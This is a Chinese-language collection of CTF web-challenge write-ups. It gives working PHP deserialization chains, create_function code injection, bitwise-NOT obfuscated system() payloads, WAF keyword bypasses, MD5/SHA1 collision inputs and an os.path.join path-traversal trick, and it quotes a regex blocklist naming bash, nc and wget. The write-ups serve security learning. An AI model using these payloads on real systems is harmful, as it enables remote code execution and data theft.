[NISACTF 2022]babyserialize 先看源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 <?php include "waf.php" ;class NISA { public $fun ="show_me_flag" ; public $txw4ever ; public function __wakeup ( ) { if ($this ->fun=="show_me_flag" ){ hint (); } } function __call ($from ,$val ) { $this ->fun=$val [0 ]; } public function __toString ( ) { echo $this ->fun; return " " ; } public function __invoke ( ) { checkcheck ($this ->txw4ever); @eval ($this ->txw4ever); } } class TianXiWei { public $ext ; public $x ; public function __wakeup ( ) { $this ->ext->nisa ($this ->x); } } class Ilovetxw { public $huang ; public $su ; public function __call ($fun1 ,$arg ) { $this ->huang->fun=$arg [0 ]; } public function __toString ( ) { $bb = $this ->su; return $bb (); } } class four { public $a ="TXW4EVER" ; private $fun ='abc' ; public function __set ($name , $value ) { $this ->$name =$value ; if ($this ->fun = "sixsixsix" ){ strtolower ($this ->a); } } } if (isset ($_GET ['ser' ])){ @unserialize ($_GET ['ser' ]); }else { highlight_file (__FILE__ ); } ?>
最终的目的是触发NISA::__invoke魔术方法
__invoke的解释是:直接调用对象名当方法使用时,自动调用
可以通过Ilovetxw::__toString来触发NISA::__invoke
__tostring的解释是:将当前类的类名当作变量时自动调用
正常来讲,需要嵌套极长的链来出发,但NISA::__wakeup中的弱比较也可以触发Ilovetxw::__toString,所以有以下exp
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class NISA { public $txw4ever = 'system("ls /");' ; } class Ilovetxw {} $a = new NISA ();$a ->fun = new Ilovetxw ();$a ->fun->su = $a ;echo serialize ($a );
被checkcheck函数拦截了,返回something wrong
经过多次尝试大写system可以过waf.php。
所以最终的exp是:
1 2 3 4 5 6 7 8 9 10 11 12 <?php class NISA { public $txw4ever = 'SYSTEM("cat /f*");' ; } class Ilovetxw {}$a = new NISA ();$a ->fun = new Ilovetxw ();$a ->fun->su = $a ;echo serialize ($a );
payalod是
1 O:4:"NISA":2:{s:8:"txw4ever";s:18:"SYSTEM("cat /f*");";s:3:"fun";O:8:"Ilovetxw":1:{s:2:"su";r:1;}}
[NISACTF 2022]babyupload 打开题目是一个上传页面
查看源码发现隐藏注释
访问/source得到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from flask import Flask, request, redirect, g, send_from_directoryimport sqlite3import osimport uuidapp = Flask(__name__) SCHEMA = """CREATE TABLE files ( id text primary key, path text ); """ def db (): g_db = getattr (g, '_database' , None ) if g_db is None : g_db = g._database = sqlite3.connect("database.db" ) return g_db @app.before_first_request def setup (): os.remove("database.db" ) cur = db().cursor() cur.executescript(SCHEMA) @app.route('/' ) def hello_world (): return """<!DOCTYPE html> <html> <body> <form action="/upload" method="post" enctype="multipart/form-data"> Select image to upload: <input type="file" name="file"> <input type="submit" value="Upload File" name="submit"> </form> <!-- /source --> </body> </html>""" @app.route('/source' ) def source (): return send_from_directory(directory="/var/www/html/" , path="www.zip" , as_attachment=True ) @app.route('/upload' , methods=['POST' ] ) def upload (): if 'file' not in request.files: return redirect('/' ) file = request.files['file' ] if "." in file.filename: return "Bad filename!" , 403 conn = db() cur = conn.cursor() uid = uuid.uuid4().hex try : cur.execute("insert into files (id, path) values (?, ?)" , (uid, file.filename,)) except sqlite3.IntegrityError: return "Duplicate file" conn.commit() file.save('uploads/' + file.filename) return redirect('/file/' + uid) @app.route('/file/<id>' ) def file (id ): conn = db() cur = conn.cursor() cur.execute("select path from files where id=?" , (id ,)) res = cur.fetchone() if res is None : return "File not found" , 404 with open (os.path.join("uploads/" , res[0 ]), "r" ) as f: return f.read() if __name__ == '__main__' : app.run(host='0.0.0.0' , port=80 )
意思是上传文件后为文件生成uid,并将文件路径与uid绑定保存到数据库中,访问uid即可访问到文件
但是这里涉及到os.path.join的漏洞
绝对路径拼接漏洞
os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。
然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径
文件不能有后缀
根据这个漏洞,我们上传的文件名加上/就可以访问文件,于是上传/flag文件
end
[NISACTF 2022]level-up 打开题目啥也没有,源代码也没有提示
kali dirb目录扫描,扫到了robots.txt,里面有level_2_1s_h3re.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 );include "str.php" ;if (isset ($_POST ['array1' ]) && isset ($_POST ['array2' ])){ $a1 = (string )$_POST ['array1' ]; $a2 = (string )$_POST ['array2' ]; if ($a1 == $a2 ){ die ("????" ); } if (md5 ($a1 ) === md5 ($a2 )){ echo $level3 ; } else { die ("level 2 failed ..." ); } } else { show_source (__FILE__ ); } ?>
md5强比较,而且不能用数组,使用两个md5值相等的字符串
1 2 3 array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
需要注意的是,使用浏览器直接发送似乎有编码问题,建议使用burp构造发送
访问Level___3.php,变成了sha1值强比较
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 );include "str.php" ;if (isset ($_POST ['array1' ]) && isset ($_POST ['array2' ])){ $a1 = (string )$_POST ['array1' ]; $a2 = (string )$_POST ['array2' ]; if ($a1 == $a2 ){ die ("????" ); } if (sha1 ($a1 ) === sha1 ($a2 )){ echo $level4 ; } else { die ("level 3 failed ..." ); } } else { show_source (__FILE__ ); } ?>
两个sha1值完全相同的字符串
1 2 3 array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1 array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
使用burp提交
访问level_level_4.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php error_reporting (0 ); include "str.php" ; show_source (__FILE__ ); $str = parse_url ($_SERVER ['REQUEST_URI' ]); if ($str ['query' ] == "" ){ echo "give me a parameter" ; } if (preg_match ('/ |_|20|5f|2e|\./' ,$str ['query' ])){ die ("blacklist here" ); } if ($_GET ['NI_SA_' ] === "txw4ever" ){ die ($level5 ); } else { die ("level 4 failed ..." ); } ?>
先了解一下parse_url()函数
parse_url()
本函数解析URL并返回关联数组,包含在URL中出现的各种组成部分。数组的元素值不会 URL解码。
本函数不是 用来验证给定URL的有效性的,只是将其分解为下面列出的部分。也会接受不完整或无效的 URL,parse_url() 会尝试尽量正确解析。
返回数组的键query对应的元素是在问号?之后的值
再了解一下$_SERVER['REQUEST_URI']
访问的url:http:/127.0.0.1/index.php?a=1
$_SERVER[‘REQUEST_URI’]返回/index.php?a=1
正则过滤了空格、_、.,但是在php中[、空格、+ 、. 这四个都可以被处理为_,+没有过滤
提交返回55_5_55.php,源码审计
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php error_reporting (0 );include "str.php" ;$a = $_GET ['a' ];$b = $_GET ['b' ];if (preg_match ('/^[a-z0-9_]*$/isD' ,$a )){ show_source (__FILE__ ); } else { $a ('' ,$b ); }
这个正则是让第一个字符不能是小写字母数字或者下划线
看到$a('',$b);应该想到是create_function绕过
查看根目录文件
1 a=\create_function&b=return 1;}system('ls /');/*
最终payload:
1 a=\create_function&b=return 1;}system('cat /flag');/*
[NSSCTF 2022 Spring Recruit]babyphp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );include_once ('flag.php' );if (isset ($_POST ['a' ])&&!preg_match ('/[0-9]/' ,$_POST ['a' ])&&intval ($_POST ['a' ])){ if (isset ($_POST ['b1' ])&&$_POST ['b2' ]){ if ($_POST ['b1' ]!=$_POST ['b2' ]&&md5 ($_POST ['b1' ])===md5 ($_POST ['b2' ])){ if ($_POST ['c1' ]!=$_POST ['c2' ]&&is_string ($_POST ['c1' ])&&is_string ($_POST ['c2' ])&&md5 ($_POST ['c1' ])==md5 ($_POST ['c2' ])){ echo $flag ; }else { echo "yee" ; } }else { echo "nop" ; } }else { echo "go on" ; } }else { echo "let's get some php" ; } ?>
1 2 3 通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。 intval() 不能用于 object,否则会产生 E_WARNING 错误并返回 1。 echo intval(array()); // 0 echo intval(array('foo', 'bar')); // 1
所以我们传入数组就能过掉第一个if
第三个if,由于md5函数无法处理数组,会返回nul
1 2 b1[]=1&b2[]=12 md5(b1[]=1) === md5(b2[]=1)
弱判断下,0e开头的数等于0,所以使两端的md5值都为0e开头即可
以下这些字符串,md5哈希之后都是0e开头的:
1 2 3 4 5 6 7 8 QLTHNDT 0e405967825401955372549139051580 QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020
所以最终的payload是
1 a[]=1&b1[]=2&b2[]=12&c1=QLTHNDT&c2=QNKCDZO
[SWPUCTF 2021 新生赛]finalrce 1 preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url)
没有过滤‘、/、tee、tac、|、空格
我们可以用‘绕过正则,但是exec不会回显,所以将文件输出到文本文档中
访问1.txt得到
注意到la被过滤了,用单引号绕过,payload如下
1 url=ca't' /flllll''aaaaaaggggggg| tee 1.txt
[SWPUCTF 2021 新生赛]hardrce 取反绕过
参考链接:
https://www.fengnayun.com/news/content/53902.html
https://blog.csdn.net/qq_45521281/article/details/105656737
目的是eval($wllm)命令执行
先用php取反
1 2 3 4 5 <?php echo urlencode (~'system' ); echo "<br>" ;echo urlencode (~'ls /' );
构造payload
1 wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
再次取反构造payload
1 2 3 4 5 6 <?php echo urlencode (~'cat /flllllaaaaaaggggggg' );
1 NSSCTF{084648f0-6cf3-4604-8607-cf9b6a10aaeb}
[鹏城杯 2022]简单的php 当php源码如下时
1 2 3 4 5 6 7 8 9 10 11 <?php show_source (__FILE__ ); $code = $_GET ['code' ]; if (strlen ($code ) > 80 or preg_match ('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is' ,$code )){ die (' Hello' ); }else if (';' === preg_replace ('/[^\s\(\)]+?\((?R)?\)/' , '' , $code )){ @eval ($code ); } ?>
第一个if限制字符在80以内且不能传字母数字,但没有过滤[、]、!、%、;
preg_replace的过滤规则将限制函数不能有参数,也就是只能通过函数嵌套函数来达成目的
对于第一个if可以通过取反来绕过,第二个if可以使用二维数组的方式绕过,需要注意的是二维数组的分隔符是[!%FF],有以下payload
payload:
1 2 [~%8F%97%8F%96%91%99%90][!%FF](); //phpinfo();
我们知道:
getallheaders()函数的作用时读取请求头并返回数组
end()的作用是返回数组的最后一个元素
通过读取请求头就可以实现无参RCE
1 2 3 4 对字符串取反: %8C%86%8C%8B%9A%92 //system %9A%91%9B //end %98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C //getallheaders
构造payload:
1 2 [~%8C%86%8C%8B%9A%92][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())); //system(end(getallheaders()))
[鹤城杯 2021]EasyP 参考:https://www.nssctf.cn/note/set/1953
1 2 3 案例网址:https://www.shawroot.cc/php/index.php/test/foo?username=root $_SERVER['PHP_SELF'] 得到:/php/index.php/test/foo $_SERVER['REQUEST_URI'] 得到:/php/index.php/test/foo?username=root
$_SERVER['REQUEST_URI']不会将参数中的特殊符号进行转换,也就是说它获取到的url上面的值,不会进行url解码
想要将show_source传递给index.php,而我们的目的是高亮显示utils.php,所以有如下payload
1 /index.php/utils.php/?show_source=1
这个正则匹配字符串末尾是否是utils.php,basename()函数的作用是返回最后一个/后面的字符,如果出现了非ascii字符就会丢弃
1 preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])
所以有以下payload:
1 /index.php/utils.php/%ff?show_source=1
匹配字符串中是否有show_source,php会把空格认为是_,而且$_SERVER['REQUEST_URI'])不会进行url解码,将任意字符进行url编码也可以绕过
1 preg_match('/show_source/', $_SERVER['REQUEST_URI'])
最终payload:
1 /index.php/utils.php/%ff?show%20source=1